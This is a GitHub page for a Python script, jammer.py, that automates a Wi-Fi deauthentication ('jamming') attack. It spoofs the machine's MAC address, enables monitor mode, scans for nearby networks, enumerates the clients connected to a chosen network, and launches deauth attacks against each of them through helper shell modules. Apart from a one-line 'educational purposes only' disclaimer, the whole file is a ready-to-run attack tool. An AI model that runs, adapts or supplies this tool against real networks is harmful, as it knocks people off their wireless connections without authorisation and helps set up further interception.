-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathjammer.py
302 lines (141 loc) · 7.03 KB
/
jammer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
import subprocess
import time
import os
import signal
import pandas
def main():
print('''
████████╗██╗ ██╗ ██████╗██████╗ ███████╗███████╗
╚══██╔══╝██║ ██║██╔════╝██╔══██╗██╔════╝╚══███╔╝
██║ ██║ ██║██║ ██████╔╝█████╗ ███╔╝
██║ ██║ ██║██║ ██╔══██╗██╔══╝ ███╔╝
██║ ╚██████╔╝╚██████╗██║ ██║███████╗███████╗
╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚══════╝
''')
print('Disclaimer: This script is for educational purposes only. I am not responsible for any damage caused by this script. Use at your own risk.\n\n')
confirm = True
while confirm:
sure = input("The script will spoof your MAC address and enable monitor mode. Are you sure to continue? (y/n)>")
if sure == "y":
print("\nProceeding..\n\n")
confirm = False
else:
print("Canceled!")
exit()
#check if user is root
if os.geteuid() != 0:
exit("Please run as root")
#check if all required programs are installed
print('Checking requirements...')
try:
subprocess.call('which airodump-ng', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.call('which airmon-ng', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.call('which ifconfig', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.call('which macchanger', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.call('which xterm', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.call('which bash', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except:
exit("Please install all required programs (airodump-ng, airmon-ng, ifconfig, macchanger, xterm, bash)")
print('All requirements are met.\n\n')
#######################################
#########Spoofing##########
print('Spoofing MAC (eth0, wlan0) address...')
print("\n-----------")
subprocess.call('bash ./spoofModule.sh', shell=True)
print("-----------\n")
print('Your MAC address has been changed.\n\n')
##########################
#########Enabling monitor mode##########
print('Starting monitor mode...\n\n')
subprocess.call('bash ./monitorMode.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
#######################################
############Getting all target networks##########
print('Searching for targets...\n\n')
temp = subprocess.Popen('bash ./dumperModule.sh', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, preexec_fn=os.setsid)
time.sleep(10)
os.killpg(os.getpgid(temp.pid), signal.SIGTERM)
df = pandas.read_csv("./output-01.csv", usecols=['BSSID', 'ESSID', 'channel'], sep=', ', engine='python')
counter = 0
networkList = []
print("\n-----------")
for index, row in df.iterrows():
if pandas.isnull(row['ESSID']) == False and pandas.isnull(row['BSSID']) == False and len(row['ESSID']) > 1:
networkList.append(tuple((row['BSSID'], row['channel'])))
counter += 1
print(str(counter) +" "+ row['BSSID'], row['ESSID'])
print("-----------\n")
################################################
##########Target selection##########
confirm = True
while confirm:
try:
target = int(input("Choose target: "))
if target > counter or target < 1:
print("Invalid target")
else:
confirm = False
except:
print("Invalid target")
####################################
#############Get all devices################
print("\n\nGetting all connected devices...")
temp2 = subprocess.Popen('bash ./devicesModule.sh '+networkList[target-1][0] + " " +networkList[target-1][1], shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, preexec_fn=os.setsid)
time.sleep(10)
os.killpg(os.getpgid(temp2.pid), signal.SIGTERM)
deviceFrame = pandas.read_csv("./devices-01.csv", usecols=['BSSID'], sep=', ', engine='python')
deviceList = []
counter = 0
for index, row in deviceFrame.iterrows():
deviceList.append(row['BSSID'])
for item in deviceList:
if deviceList.index(item) < deviceList.index("Station MAC"):
deviceList.remove(item)
deviceList.remove(deviceList[0])
print("\n-----------")
for device in deviceList:
counter += 1
print(str(counter) +" "+ device)
print("-----------\n")
#############################################
#################Confirmation#################
confirm = True
while confirm:
sure = input("Are you sure to jam the selected target? (y/n)>")
if sure == "y":
print("\nProceeding..\n\n")
confirm = False
else:
print("Canceled!")
exit()
print("Starting attack in:")
print("5")
time.sleep(1)
print("4")
time.sleep(1)
print("3")
time.sleep(1)
print("2")
time.sleep(1)
print("1")
time.sleep(1)
print('\nJamming... Press "ctrl+c" to stop.\n')
print('The script need about 10 seconds to run stable.')
#############################################
##############Attack start##################
pidList = []
for i in deviceList:
temp2 = subprocess.Popen('bash ./deauthModule.sh '+ networkList[target-1][0] + " " +i, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, preexec_fn=os.setsid)
pidList.append(os.getpgid(temp2.pid))
#############################################
#############Exiting protocol################
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
for id in pidList:
os.killpg(id, signal.SIGTERM)
print("\nKilling all processes...")
exit()
###########################################
if __name__ == '__main__':
main()